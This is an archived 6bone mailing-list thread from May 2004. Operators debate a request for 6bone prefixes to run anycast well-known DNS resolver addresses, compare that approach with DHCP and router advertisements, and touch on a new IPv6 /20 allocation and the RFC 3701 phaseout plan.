| the address block that contains the address(es) in question is sourced 
| in BGP in different places at the same time. Anyone who wants to can 
| then run an anycast instance, either public or private, just as with 
| 6to4 relays.
I support this, and would be interrested in running an anycast node from
the AMS-IX/DE-CIX, providing you do the paperwork involved with prefix
allocation.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

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From: James <haesu@towardex.com>
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Subject: Re: [6bone] Request: two 6bone pTLAs
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> | So what I'd like to do is put the final days (ok, years) of the 6bone 
> | to good use, and simply start a public resolver service using 6bone 
> | addresses. The idea is to use two addresses, that are then anycast, not 
> | unlike what's happening with the IPv4 root DNS servers. Note that this 
> | type of anycasting is different from regular IPv6 anycasting. Rather, 
> | the address block that contains the address(es) in question is sourced 
> | in BGP in different places at the same time. Anyone who wants to can 
> | then run an anycast instance, either public or private, just as with 
> | 6to4 relays.

I support this as well. I am also willing to run an anycast node as well if 
this pTLA is approved.

-J


> I support this, and would be interrested in running an anycast node from
> the AMS-IX/DE-CIX, providing you do the paperwork involved with prefix
> allocation.
> 
> groet,
> Pim
> -- 
> ---------- - -    - - -+- - -    - - ----------
> Pim van Pelt                 Email: pim@ipng.nl
> http://www.ipng.nl/             IPv6 Deployment
> -----------------------------------------------
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

-- 
James Jun                                            TowardEX Technologies, Inc.
Technical Lead                        Network Design, Consulting, IT Outsourcing
james@towardex.com                  Boston-based Colocation & Bandwidth Services
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From liman@autonomica.se Sun May  9 12:17:25 2004
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To: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: [6bone] Request: two 6bone pTLAs
References: <17606D8B-A1C7-11D8-BE01-000A95CD987A@muada.com>
From: Lars-Johan Liman <liman@autonomica.se>
Date: 09 May 2004 21:16:16 +0200
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iljitsch@muada.com:
> Now that I have your attention...

> For some time, I've been unhappy with the progress (or rather, lack
> thereof) in the area of DNS resolver discovery/configuration in IPv6.

> I've been advocating the well-known address (WKA) approach, as setting
> up DNS resolvers at well-known addresses doesn't require changes to
> existing implementations, and thus provides instant relief to those of
> us who want to experiment with running IPv6 in environments where
> having a way to automatically determine IPv6 DNS resolver addresses is
> important.

> ...

Iljitsch,

While I recognize that automagically finding resolvers can be quite
important, I think that WKAs have already been proven to be not a dead
end, but a velodrome from which you cannot escape, and where you just
have to pedal faster and faster. There have, as you know, been a
number of proposals on how to discover a suitable resolver, and I will
make my voice heard against any solution that, by necltect, lack of
understanding, disrespect, and/or pure stupidity, automagically will
inject traffic into a third party's systems in a non-deterministic
way.

My strong feeling is that:

1) A client system shouldn't spew packets (DNS or other) on any other
   host, without local configuration to make it do so - preferrably
   through a local configurations service such as DHCP. This can be
   done within my own network or by my ISP, but the point is that it's
   a configuration that is local, and that can be adjusted as needed
   with reasonably short notice; and that an active measure is
   taken to make something happen.

   I really dislike a system where I or my ISP can be forced into
   starting an anycast instance just to balance the traffic and make
   sure that the service to the "local" clients is up to standard.

   Things shouldn't be turned "on" by default on the Internet, they
   should be turned "off". Otherwise you stand the risk of ending up
   like Windows, where every bell and whistle is turned on by default
   - open for each and every cracker to take advantage
   of. Automagically having them turned "on" also puts you in an
   awkward position from a legal standpoint:

   E.g., in court:

   Party1: "You keep bombarding me with traffic!"
   Party2: "I haven't turned on anything such, so it can't be my fault!"

2) Locking these well known addresses into systems is likely to cement
   the use of 6bone addressees in a way that we *REALLY* don't want
   to. How long did it take to wiggle out of the official use of net
   10.0.0.0/8?

3) I think it opens up a Pandora's box of security issues that I, for
   one, don't want to touch even with my thickest gloves. (Regardless
   of the fact that DNSSEC (which *still* isn't operational - *that's*
   something for you!) is designed to be able to cope with mischievous
   resolvers.)

4) Comparing it to the anycast system that some of the root name
   servers (i.root-servers.net for one), is highly inapropriate,
   because in the root-ns case, all of the anycast instances are
   manages by the same operational entity, which gives a very good
   overview of traffic patterns and service levels. The system can be
   dynamically balanced to function well. This is not case when you
   have an anycast system where anyone can put in their service.

   A comparison with the AS112 system to service reverse mapping for
   the RFC 1918 address space would be more apropriate, but would
   still be limping, since the data is non-existing, and the whole
   point of that project is to return "NXDOMAIN", not active data.

DHCP is the way to go. It's there, it works, it's been proven to fit
into really small appliances.

YMMV.

				Cheers,
				  /Liman
#----------------------------------------------------------------------
# Lars-Johan Liman, M.Sc.	! E-mail: liman@autonomica.se
# Senior Systems Specialist     ! HTTP  : //www.autonomica.se/
# Autonomica AB, Stockholm 	! Voice : +46 8 - 615 85 72
#----------------------------------------------------------------------


From iljitsch@muada.com Sun May  9 14:02:25 2004
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From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: [6bone] Request: two 6bone pTLAs
Date: Sun, 9 May 2004 23:01:43 +0200
To: Lars-Johan Liman <liman@autonomica.se>
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On 9-mei-04, at 21:16, Lars-Johan Liman wrote:

> While I recognize that automagically finding resolvers can be quite
> important, I think that WKAs have already been proven to be not a dead
> end, but a velodrome from which you cannot escape, and where you just
> have to pedal faster and faster.

Do you have any pointers for this?

> 1) A client system shouldn't spew packets (DNS or other) on any other
>    host, without local configuration to make it do so - preferrably
>    through a local configurations service such as DHCP.

Why do you feel so strongly about this?

I would be perfectly fine with stipulating that these addresses 
shouldn't be hardcoded by vendors, but rather specifically configured 
by end-users or their system administrators. Since these addresses will 
disappear in 2 years, hardcoding them would be counterproductive 
anyway.

>    I really dislike a system where I or my ISP can be forced into
>    starting an anycast instance just to balance the traffic and make
>    sure that the service to the "local" clients is up to standard.

I don't see how you would be forced to start an anycast service. And if 
you were so forced, this means there is no uptake of a "real" DNS 
resolver discovery mechanism, so the alternative would be that users 
either have no resolvers, or have to find them manually. Both seem 
infinitely worse than any inconvenience caused by the well-known 
addresses.

>    Things shouldn't be turned "on" by default on the Internet, they
>    should be turned "off". Otherwise you stand the risk of ending up
>    like Windows, where every bell and whistle is turned on by default
>    - open for each and every cracker to take advantage
>    of. Automagically having them turned "on" also puts you in an
>    awkward position from a legal standpoint:

>    E.g., in court:

>    Party1: "You keep bombarding me with traffic!"
>    Party2: "I haven't turned on anything such, so it can't be my 
> fault!"

I'm sorry, I don't find this argument convincing.

> 2) Locking these well known addresses into systems is likely to cement
>    the use of 6bone addressees in a way that we *REALLY* don't want
>    to.

3ffe::/16 is going to be ususable anyway for years to come because of 
stray configuration that has to be cleaned up. And it's not like we're 
running out of IPv6 address space any time soon...

> 3) I think it opens up a Pandora's box of security issues that I, for
>    one, don't want to touch even with my thickest gloves.

Like what?

> DHCP is the way to go. It's there, it works, it's been proven to fit
> into really small appliances.

Do you REALLY want to get into this on this list?

Even if for the sake of argument it would be a good idea to run DHCP 
everywhere (which it isn't), then we still have the problem that some 
significant operating systems currently don't support it don't allow 
the user to add such support easily.

Please understand that this is an experiment. It won't break the 
internet.


From jorgen@hovland.cx Sun May  9 17:04:25 2004
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----- Original Message ----- 
From: "Iljitsch van Beijnum" <iljitsch@muada.com>
To: "Lars-Johan Liman" <liman@autonomica.se>
Cc: <6bone@mailman.isi.edu>
Sent: Sunday, May 09, 2004 10:01 PM
Subject: Re: [6bone] Request: two 6bone pTLAs


> On 9-mei-04, at 21:16, Lars-Johan Liman wrote:
>
> I would be perfectly fine with stipulating that these addresses
> shouldn't be hardcoded by vendors, but rather specifically configured
> by end-users or their system administrators. Since these addresses will
> disappear in 2 years, hardcoding them would be counterproductive
> anyway.
>
> >    I really dislike a system where I or my ISP can be forced into
> >    starting an anycast instance just to balance the traffic and make
> >    sure that the service to the "local" clients is up to standard.
>
> I don't see how you would be forced to start an anycast service. And if
> you were so forced, this means there is no uptake of a "real" DNS
> resolver discovery mechanism, so the alternative would be that users
> either have no resolvers, or have to find them manually. Both seem
> infinitely worse than any inconvenience caused by the well-known
> addresses.

If you hardcode 1 nameserver address you need to setup anycast if you want
to use a secondary backup nameserver - unless you hardcode 2 nameserver ip
addresses of course. Then what about 3 or 8?
What about WINS ? What about bootp servers ? What about dhcp + mac-filtering
and static ips (not static mac)?
Why should I expect less features with IPv6 than with IPv4?  I am sure you
can hardcode anything.  Do you really believe in that we should hardcode
addresses just because your router advertisement daemon doesn't scale?

>
> >    Things shouldn't be turned "on" by default on the Internet, they
> >    should be turned "off". Otherwise you stand the risk of ending up
> >    like Windows, where every bell and whistle is turned on by default
> >    - open for each and every cracker to take advantage
> >    of. Automagically having them turned "on" also puts you in an
> >    awkward position from a legal standpoint:
>
> >    E.g., in court:
>
> >    Party1: "You keep bombarding me with traffic!"
> >    Party2: "I haven't turned on anything such, so it can't be my
> > fault!"
>
> I'm sorry, I don't find this argument convincing.

To the contrary, I find this very convincing.  DNS is an important service
on the internet - but it is certainly not  mandatory for every single
networked system on earth.

>
> > DHCP is the way to go. It's there, it works, it's been proven to fit
> > into really small appliances.
>
> Do you REALLY want to get into this on this list?

I must say that I agree with Mr Liman on this. DHCP works today and I don't
see why the concept shouldn't work tomorrow.

>
> Even if for the sake of argument it would be a good idea to run DHCP
> everywhere (which it isn't), then we still have the problem that some
> significant operating systems currently don't support it don't allow
> the user to add such support easily.

You can say the same thing about router advertisement.




From gert@Space.Net Mon May 10 08:58:25 2004
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Subject: [6bone] /20 allocated - update your BGP filters!
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Hi,

the first IPv6 /20 allocation ever has been made today:

inet6num:     2001:2000::/20
netname:      EU-TELIANET-20040510
org:          ORG-TIC2-RIPE
descr:        PROVIDER Local Registry
descr:        TeliaSonera AB
country:      EU

and this means that "if you have been following my filtering
recommendations, this network will not be accepted right now" (the 
current filters had a minimum accepted prefix length of a /24).

I have updated the prefix filter recommendation page:

http://www.space.net/~gert/RIPE/ipv6-filters.html

and urge you to check whether your filters are prepared for these
large prefixes.  (There is a /23 upcoming, and rumors speak of a
/19 being requested "real soon now").

TODO: the "strict" filter could do some grouping for different 
      IPv6 allocation ranges, but this is dangerous today, as we 
      don't know how future allocations will look like.

Note: ICANN just doesn't get it.  They have not allocated a reasonable 
      prefix size to RIPE (like a /8), not even a /19, but "a big chunk of 
      14 sucessive /23s, summing up to a /20+/21+/22" - see the list at
      http://www.iana.org/assignments/ipv6-tla-assignments


Gert Doering
        -- RIPE Address Policy WG Co-Chair,
           keeper of the IPv6 filter list
-- 
Total number of prefixes smaller than registry allocations:  60210  (58081)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From liman@autonomica.se Mon May 10 14:48:31 2004
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liman@autonomica.se:
>> While I recognize that automagically finding resolvers can be quite
>> important, I think that WKAs have already been proven to be not a dead
>> end, but a velodrome from which you cannot escape, and where you just
>> have to pedal faster and faster.

iljitsch@muada.com:
> Do you have any pointers for this?

The one pointer I have and extrapolate from, is the story I was told
about the appliance vendor that hardcoded IP-addresses to NTP servers
at some university in ROM code in ther boxes. (Note ROM, so that it
*CANNOT* be updated, even if the owner of the appliance was made aware
of the problem, and had the necessary competence to do something about
it.)

>> 1) A client system shouldn't spew packets (DNS or other) on any other
>> host, without local configuration to make it do so - preferrably
>> through a local configurations service such as DHCP.

> Why do you feel so strongly about this?

Because I know that systems are put in the hands of people that know
*NOTHING* about how they behave, and in no way have what it takes to
foresee the effect in large systems.

You cannot seriously mean that if I put up a server on the 'net, that
I must be prepared to handle any amount of traffic that is generated
not by people at will (surfers and crackers), but by the sheer fact
that a software vendor decided that my box was a suitable target just
because his random number generator happened to generate my IP address
when he coded the crap.

A box should remain silent, until you configure it to talk. Or, as I'm
told the Irish say, in a proverb: "A man should refrain from talking,
unless he can improve on silence." :-) (Exact wording modified by my
bad memory.)

> I would be perfectly fine with stipulating that these addresses
> shouldn't be hardcoded by vendors, but rather specifically configured
> by end-users or their system administrators. Since these addresses
> will disappear in 2 years, hardcoding them would be counterproductive
> anyway.

That's a good step in the right direction, but there are two points
where we probably have different opinions:

a) You cannot stipulate anything on the 'net - especially not
   regarding operational practices. Hence someone *WILL* hardcode them
   - probably because its cheaper, and they want to use their money
   for marketing purposes instead, and because of that the product
   will sell really well, and "another university will have to shut
   down their NTP servers" (if you get my point).

b) Because of a) (and quite possibly other similar problems), there
   will be a substantial market pressure to keep the 6bone addresses
   going *FAR* longer than for the coming 2 years.

   User: "Remind me again - what's *REALLY* the point of removing
   useful address space, that is uniquely distributed? I have invested
   heavily in this. You can't make me turn off these systems! It will
   ruin me! And if that happens, I will sue your butts off!"

   ... and when that happens in a US court, the outcome is given ...

If the 6bone addresses are really taken out from the general IPv6
network infrastructure in two years time, I'll by you a beer.

>> I really dislike a system where I or my ISP can be forced into
>> starting an anycast instance just to balance the traffic and make
>> sure that the service to the "local" clients is up to standard.

> I don't see how you would be forced to start an anycast service. And
> if you were so forced, this means there is no uptake of a "real" DNS
> resolver discovery mechanism, so the alternative would be that users
> either have no resolvers, or have to find them manually. Both seem
> infinitely worse than any inconvenience caused by the well-known
> addresses.

Umm, I realize that I didn't use enough detail in my description.

Suppose the following situation:

ISP1 has contract with user that includes certain quality of service
(in the general sense) clauses with regards to DNS. Users uses systems
with DNS clients that use WKA, and not what the ISP1 tells them with
DHCP. In order to fulfill its commitments, the ISP1 then has to start
a DNS service on these WKA:s, because if they don't, the DNS packets
will dissapear like turbo charged mosquitos towards the nearest lamp,
um sorry, nearest WKA DNS server, which - by pure chance - happens to
be operated by ISP2 (ISP1's fiercest competitor), which, of course,
has a suitable filter for queries coming from ISP1, to which delay is
added, and, just for fun, a certain amount of random malfunction.
And - if ISP1 *does* start a service on the WKAs, they will have to
jump through a few loops to make sure that just the right customers
(a.k.a. they paying ones) reach their servers, so that they don't get
hit when ISP2 turn theirs off, since they just realized that the DNS
service comes for free at ISP1, if you just turn off your routing.

Now, if the client took the DNS-data in DHCP, ISP1 could tell them
which servers to use, and that would be the end of it.

>> Things shouldn't be turned "on" by default on the Internet, they
>> should be turned "off". Otherwise you stand the risk of ending up
>> like Windows, where every bell and whistle is turned on by default
>> - open for each and every cracker to take advantage
>> of. Automagically having them turned "on" also puts you in an
>> awkward position from a legal standpoint:

>> E.g., in court:

>> Party1: "You keep bombarding me with traffic!"
>> Party2: "I haven't turned on anything such, so it can't be my
>> fault!"

> I'm sorry, I don't find this argument convincing.

>From a legal standpoint, I find it important that the actions
performed by a computer can be traced back to an individual who can be
held responsible for them. I'm worried about the scenario where a
person buys a computer, hooks it up to the 'net, and leaves it. "I
didn't do anything, so it cannot be my fault!". The software vendor
will say: "We didn't put the computer there, so it cannot be our
fault!". Who's right? Who's fault is it?

>> 2) Locking these well known addresses into systems is likely to cement
>> the use of 6bone addressees in a way that we *REALLY* don't want
>> to.

> 3ffe::/16 is going to be ususable anyway for years to come because of
> stray configuration that has to be cleaned up. And it's not like we're
> running out of IPv6 address space any time soon...

You'll be surprised. In the early days of the Internet, they weren't
running short of addresses any time soon either, because they hade the
*HUGE* address space of 8 bits! (IPv1 - I think.) And who would ever
consider a computer network with *256* computers in it?!
Inconcievable!

To start with, the address space has been cut down to ~5.5E-20 of what
it could be, since someone decided to waste the lower 64 bits on
something that already unique!

On top of that - what's killing IPv4 space is not the number of
computers, but how the prefixes have been distributed, which has lead
to both address depletion and routing table growth. Now, they're
tossing out /20s in IPv6 land. That's pretty big chunks. Far bigger
than the old /8s (class As), and their are mathematically exactly as
many /20s in v6 land as there are in v4 land ...

>> 3) I think it opens up a Pandora's box of security issues that I, for
>> one, don't want to touch even with my thickest gloves.

> Like what?

Like me trusting the DNS answers from a resolver I have no relation
with what so ever, and cannot even deterministically predict the
topological location of.

And - more important - the WKAs become very obvious targets for (e.g.)
DDoS attacks. If the addresses are hard coded into the end nodes, it's
*VERY* hard to get away from that situation. You *have* to maintain
the service on exactly those addresses, and the your enemies will keep
bombarding exactly those addresses.

(BTW, this problem is already very real with existing WKA servers.)

>> DHCP is the way to go. It's there, it works, it's been proven to fit
>> into really small appliances.

> Do you REALLY want to get into this on this list?

I'm not quite sure. :-) But it seems to be too late for me to back
out. :-) :-)

> Even if for the sake of argument it would be a good idea to run DHCP
> everywhere (which it isn't),

Like where? :-)

> then we still have the problem that some significant operating
> systems currently don't support it don't allow the user to add such
> support easily.

That argument isn't convincing to *me*. :-)

If the user is unhappy with the operating system, switch to another
one. The market is full of them. Or, put pressure on the vendor to
implement it. I will gladly list at least 4 operating systems, all of
which run on a multitude of platforms (from palmtops to mainframes)
and implement DHCP. And all of them are free.

> Please understand that this is an experiment. It won't break the
> internet.

I agree that my arguments are geared more towards a general WKA
scenario, than towards your specific proposal of using 6bone space for
an experiment, but I think one has to deal with the principals, and
not only with the details.

Suppose your proposed experiment turns out to be a commercial
success. What do you say to "your" users when the day comes to shut
down 6bone? "Sorry, guys, the party is over."? No, I guess not. So you
have to look at the future now already.

How do you plan to migrate from a successful 6bone experiment to
production in "real" IPv6 space?

What about expansion: how many WKA prefixes do we expect in the long
run and how do you deal with growth rate? If it can be used for DNS,
others will find other applications for the technology, and one has to
look into scaling problems. What happens when you do this to other
services?

Taking my example from above: How many services will ISP1 have to
start on WKAs to fulfill all of its obligations towards the customer?

Anycast is a two-edged sword. Using it as a means to work around the
problems with the operating systems you mention could be the least
senseless way to do it, but only if done on a local scale. The thing
that scares me is the WKA part. I simply don't want that kind of
implicit trust relationship between non-consenting partners. It worked
when the Internet was a few thousand university hosts. It's not really
feasible in a system where businesses turning over billions of dollars
hinge on the function and non-function of servers that you cannot
control. The DNS of today has bits of that, and I don't see it as
good. There is, e.g., lots of legitimate concern about how to handle
the situation with the root name servers, their respective operators,
and their responsibilities.

I want to move away from that uncertainty, although I don't know how
to yet. This doesn't seem to be the right way.

				Cheers,
				  /Liman


From iljitsch@muada.com Tue May 11 03:28:32 2004
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From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: [6bone] Request: two 6bone pTLAs
Date: Tue, 11 May 2004 12:27:32 +0200
To: Lars-Johan Liman <liman@autonomica.se>
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On 10-mei-04, at 23:46, Lars-Johan Liman wrote:

>> Do you have any pointers for this?

> The one pointer I have and extrapolate from, is the story I was told
> about the appliance vendor that hardcoded IP-addresses to NTP servers
> at some university in ROM code in ther boxes. (Note ROM, so that it
> *CANNOT* be updated, even if the owner of the appliance was made aware
> of the problem, and had the necessary competence to do something about
> it.)

This issue is completely orthogonal to what we're discussing here. 
Obviously hardcoding (emphasis on HARD) an address without consent from 
the people using that address is very bad. However, the whole point of 
this request is to set aside two prefixes especially for this purpose. 
If for some unfortunate reason the traffic to these addresses gets out 
of hand, the prefixes can be removed from the global routing table, no 
harm, no foul.

>>> 1) A client system shouldn't spew packets (DNS or other) on any other
>>> host, without local configuration to make it do so - preferrably
>>> through a local configurations service such as DHCP.

>> Why do you feel so strongly about this?

> Because I know that systems are put in the hands of people that know
> *NOTHING* about how they behave, and in no way have what it takes to
> foresee the effect in large systems.

Hence the need for controlled experimentation.

>> I would be perfectly fine with stipulating that these addresses
>> shouldn't be hardcoded by vendors, but rather specifically configured
>> by end-users or their system administrators. Since these addresses
>> will disappear in 2 years, hardcoding them would be counterproductive
>> anyway.

> That's a good step in the right direction, but there are two points
> where we probably have different opinions:

> a) You cannot stipulate anything on the 'net - especially not
>    regarding operational practices. Hence someone *WILL* hardcode them
>    - probably because its cheaper, and they want to use their money
>    for marketing purposes instead, and because of that the product
>    will sell really well, and "another university will have to shut
>    down their NTP servers" (if you get my point).

If this happens, that will be a valuable, if unfortunate, lesson 
learned from the experiment.

> b) Because of a) (and quite possibly other similar problems), there
>    will be a substantial market pressure to keep the 6bone addresses
>    going *FAR* longer than for the coming 2 years.

There will be some pressure, sure. Nothing we can't press back against, 
though. Remember that these are values that the user can change 
herself, so any problems created here are non-fatal. Also, I would 
probably agree with you if the people that see no problem in clicking 
on .exe attachments were all using this. But for better or for worse, 
IPv6 deployment isn't quite that far yet.

> If the 6bone addresses are really taken out from the general IPv6
> network infrastructure in two years time, I'll by you a beer.

I don't like beer - but in this case I'll drink it.  :-)

>> I don't see how you would be forced to start an anycast service.

> Umm, I realize that I didn't use enough detail in my description.

> Suppose the following situation:

> ISP1 has contract with user that includes certain quality of service
> (in the general sense) clauses with regards to DNS. Users uses systems
> with DNS clients that use WKA, and not what the ISP1 tells them with
> DHCP. In order to fulfill its commitments, the ISP1 then has to start
> a DNS service on these WKA:s, because if they don't, the DNS packets
> will dissapear like turbo charged mosquitos towards the nearest lamp,
> um sorry, nearest WKA DNS server,

I really don't see the problem here. If you want to deliver a certain 
quality of service, obviously customers only get to complain if they 
actually use YOUR service. And if customers can't use DHCP (which is 
likely, I don't talk DHCP in v4 with my ISP either) then it's probably 
a lot easier for you to run a local WKA instance rather than distribute 
resolver addresses the oldfashioned way.

>>> 3) I think it opens up a Pandora's box of security issues that I, for
>>> one, don't want to touch even with my thickest gloves.

>> Like what?

> Like me trusting the DNS answers from a resolver I have no relation
> with what so ever, and cannot even deterministically predict the
> topological location of.

This is immaterial. Either you run a DNS resolver and you know and 
control pretty much everything, or you don't and you don't. Which kind 
of address this resolver happens to have doesn't come into play here.

> And - more important - the WKAs become very obvious targets for (e.g.)
> DDoS attacks.

If there are enough people running WKA instances this won't be a 
problem.

> (BTW, this problem is already very real with existing WKA servers.)

Like what?

>>> DHCP is the way to go. It's there, it works, it's been proven to fit
>>> into really small appliances.

>> Do you REALLY want to get into this on this list?

> I'm not quite sure. :-) But it seems to be too late for me to back
> out. :-) :-)

The reason I don't like DHCPv6 is that I don't want to run more 
services than necessary. I already have to run a router advertisement 
service, so it's a much better idea to have resolver addresses in there 
than add an extra service with all the potential for security problems 
that running services in general entails.

>> then we still have the problem that some significant operating
>> systems currently don't support it don't allow the user to add such
>> support easily.

> That argument isn't convincing to *me*. :-)

> If the user is unhappy with the operating system, switch to another
> one.

Guess what, no operating system is perfect. All in all I'm happy with 
the one I use most, and I'm not about to give up the advantages it has 
just because YOU don't like well known addresses and think I should be 
running DHCPv6.

> The market is full of them. Or, put pressure on the vendor to
> implement it. I will gladly list at least 4 operating systems, all of
> which run on a multitude of platforms (from palmtops to mainframes)
> and implement DHCP. And all of them are free.

Here you go. You feel that a portable, free OS is superior to one 
that's closely tuned to the hardware and is supported by paying users. 
I don't.

>> Please understand that this is an experiment. It won't break the
>> internet.

> I agree that my arguments are geared more towards a general WKA
> scenario, than towards your specific proposal of using 6bone space for
> an experiment, but I think one has to deal with the principals, and
> not only with the details.

> Suppose your proposed experiment turns out to be a commercial
> success. What do you say to "your" users when the day comes to shut
> down 6bone? "Sorry, guys, the party is over."? No, I guess not. So you
> have to look at the future now already.

If this all works well then obviously the next step is thinking about 
permanent WKAs. Or hopefully there will be a widely implemented 
alternative by then, so permanent WKAs aren't needed.

> How do you plan to migrate from a successful 6bone experiment to
> production in "real" IPv6 space?

Publish the new addresses, wait a while, remove the old ones. Same as 
all use of 6bone address space.

> What about expansion: how many WKA prefixes do we expect in the long
> run and how do you deal with growth rate? If it can be used for DNS,
> others will find other applications for the technology, and one has to
> look into scaling problems. What happens when you do this to other
> services?

Tell them to use well known NAMES instead. Which is exactly the way in 
which DNS resolvers are unique: you need to know their addresses rather 
than their names.


From pasky@machine.sinus.cz Tue May 11 23:56:32 2004
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Dear diary, on Sun, May 09, 2004 at 04:42:27PM CEST, I got a letter,
where Iljitsch van Beijnum <iljitsch@muada.com> told me, that...
> Now obviously it would be possible to write a draft, try to get it 
> published as an RFC and so on. But it's unlikely this will get 
> consensus, and it's going to take a long time until such an RFC is 
> published if it does.

I believe such a thing should be backed up at least by an I-D which is
*about* to get a consensus. And allocating 6BONE prefixes for this
sounds like a semi-official preliminary approval for such a policy so it
should definitively aim for a consensus.

An I-D would give this some formal backing as well as well summing up
the arguments you have for such a thing. I for one don't find your
current arguments very convincing. Could you be more specific about
where exactly do you need to use such WKAs? And why an "experimental"
stage would be useful for such a thing at all?

Kind regards,

-- 
				Petr "Pasky" Baudis
Stuff: http://pasky.or.cz/
The rest is silence.  -- Hamlet, V.2

From pekkas@netcore.fi Wed May 12 02:08:32 2004
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Subject: Re: [6bone] Request: two 6bone pTLAs
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On Sun, 9 May 2004, Iljitsch van Beijnum wrote:
> Even though new pTLAs aren't supposed to be given out anymore, I think 
> this is a very useful experiment that fits well with the purpose of the 
> 6bone, so an exception would be in order. Also, since the 6bone will be 
> shut down in two years, this is the perfect opportunity to experiment 
> with WKAs in IPv6 without having to fear long-lasting ill effects.

I have to oppose this for the simple logic:
 1) we want to kill 6bone as soon as possible
 2) for these prefixes to be useful, they have to implemented
 3) withdrawing implementations takes a long time.

So, giving out 6bone pTLAs would probably just lead to continuation of 
the 6bone mess.

There is already a better process in place for something like this -- 
for example the experimental allocations: 
http://www.ripe.net/ripe/docs/ipv6policy.html#experiment-assignments

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


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6bone Folk,

At 02:08 AM 5/12/2004, Pekka Savola wrote:
>On Sun, 9 May 2004, Iljitsch van Beijnum wrote:
> > Even though new pTLAs aren't supposed to be given out anymore, I think
> > this is a very useful experiment that fits well with the purpose of the
> > 6bone, so an exception would be in order. Also, since the 6bone will be
> > shut down in two years, this is the perfect opportunity to experiment
> > with WKAs in IPv6 without having to fear long-lasting ill effects.
>
>I have to oppose this for the simple logic:
>  1) we want to kill 6bone as soon as possible
>  2) for these prefixes to be useful, they have to implemented
>  3) withdrawing implementations takes a long time.
>
>So, giving out 6bone pTLAs would probably just lead to continuation of
>the 6bone mess.
>
>There is already a better process in place for something like this --
>for example the experimental allocations:
>http://www.ripe.net/ripe/docs/ipv6policy.html#experiment-assignments

I agree with Pekka. Also, given the process already gone through to draw up 
a 6bone community accepted phaseout plan, which was strongly supported by 
the IETF community with the approval of RFC 3701, no new 6bone 3FFE pTLA's 
can be allocated. I've enclosed the relevant part of RFC 3701 here:

>2.  6bone Phaseout Plan
>
>    To provide for the continuing useful operation of the 6bone, to the
>    extent that IETF consensus judges it to be useful, 6bone top level
>    address prefixes known as pseudo TLA's (pTLAs) MAY continue to be
>    allocated until January 1, 2004.
>
>    Thus after the pTLA allocation cutoff date January 1, 2004, it is
>    REQUIRED that no new 6bone 3FFE pTLAs be allocated.
>
>    To provide for sufficient planning time for 6bone participants to
>    convert to production IPv6 address prefixes, all 6bone prefixes
>    allocated by the cutoff time specified above, except for allocations
>    withdrawn as a matter of 6bone operating procedures, SHALL remain
>    valid until June 6, 2006.
>
>    Thus after the 6bone phaseout date June 6, 2006, it is the intent
>    that no 6bone 3FFE prefixes, of any size/length, be used on the
>    Internet in any form.  Network operators may filter 3FFE prefixes on
>    their borders to ensure these prefixes are not misused.
>
>
>
>Fink & Hinden                Informational                      [Page 3]
>
>RFC 3701                  6bone Phaseout Plan                 March 2004
>
>
>    It should be noted that this RFC does not intend to imply that a
>    6bone prefix holder, whether at the pTLA top level or lower, should
>    seek a production IPv6 address prefix at any specific level.  It may
>    be entirely reasonable for a 6bone prefix holder to seek a higher
>    level, or a lower level, IPv6 prefix as their specific needs dictate.


Thanks,

Bob 


From paul@clubi.ie Wed May 12 10:37:35 2004
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On Mon, 10 May 2004, Jørgen Hovland wrote:

> Why should I expect less features with IPv6 than with IPv4?  I am
> sure you can hardcode anything.

I dont think Iljitsch is advocating that it not be possible to 
manually configure your resolver.

> should hardcode addresses just because your router advertisement
> daemon doesn't scale?

RA does one thing, does it well. Resolver server addresses, etc, are 
outside its scope.
 
> To the contrary, I find this very convincing.  DNS is an important
> service on the internet - but it is certainly not mandatory for
> every single networked system on earth.

I dont think Iljitsch is advocating that DNS be mandatory for all 
systems. I think he's asking to expirement with having a well-known 
address for recursive DNS service, so that hosts which _want_ to 
resolve addresses can use (by prior knowledge) an address which is 
guaranteed to work, while obviously still retaining ability to 
manually configure in resolver addresses.

Imaginary configurability of implementation issues should have no 
bearing on whether a WKA for recursive DNS service is a good idea or 
not.
 
> I must say that I agree with Mr Liman on this. DHCP works today and I don't
> see why the concept shouldn't work tomorrow.

Not everyone wants to run a DHCP client.

Directing traffic for a WKA address to a suitable DNS server(s) would 
be far easier.

I support Iljitsch's idea to try this as an experiment. 

I disagree that it requires two pTLAs. My feeling is that there
should absolutely _NOT_ be any public DNS recursive service offered
at the WKA because of the security implications of a widely used
public recursive DNS service. Even as an experimental address, it
should not be public, because of the risk of it becoming widely used.

The WKA should be confined internally to organisations, as a 
convenience, should they wish to make use of it.

regards, 
-- 
Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A
	warning: do not ever send email to spam@dishone.st
Fortune:
Indifference will certainly be the downfall of mankind, but who cares?

From jorgen@hovland.cx Wed May 12 12:16:34 2004
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----- Original Message ----- 
From: "Paul Jakma" <paul@clubi.ie>
To: "Jørgen Hovland" <jorgen@hovland.cx>
Cc: <6bone@mailman.isi.edu>; "Lars-Johan Liman" <liman@autonomica.se>
Sent: Wednesday, May 12, 2004 6:36 PM
Subject: Re: [6bone] Request: two 6bone pTLAs


> On Mon, 10 May 2004, Jørgen Hovland wrote:
>
> RA does one thing, does it well. Resolver server addresses, etc, are
> outside its scope.

Yes, and that's the problem with it.

>
> > To the contrary, I find this very convincing.  DNS is an important
> > service on the internet - but it is certainly not mandatory for
> > every single networked system on earth.
>
> I dont think Iljitsch is advocating that DNS be mandatory for all
> systems. I think he's asking to expirement with having a well-known
> address for recursive DNS service, so that hosts which _want_ to
> resolve addresses can use (by prior knowledge) an address which is
> guaranteed to work, while obviously still retaining ability to
> manually configure in resolver addresses.
>
> Imaginary configurability of implementation issues should have no
> bearing on whether a WKA for recursive DNS service is a good idea or
> not.
>
> > I must say that I agree with Mr Liman on this. DHCP works today and I
don't
> > see why the concept shouldn't work tomorrow.
>
> Not everyone wants to run a DHCP client.
>
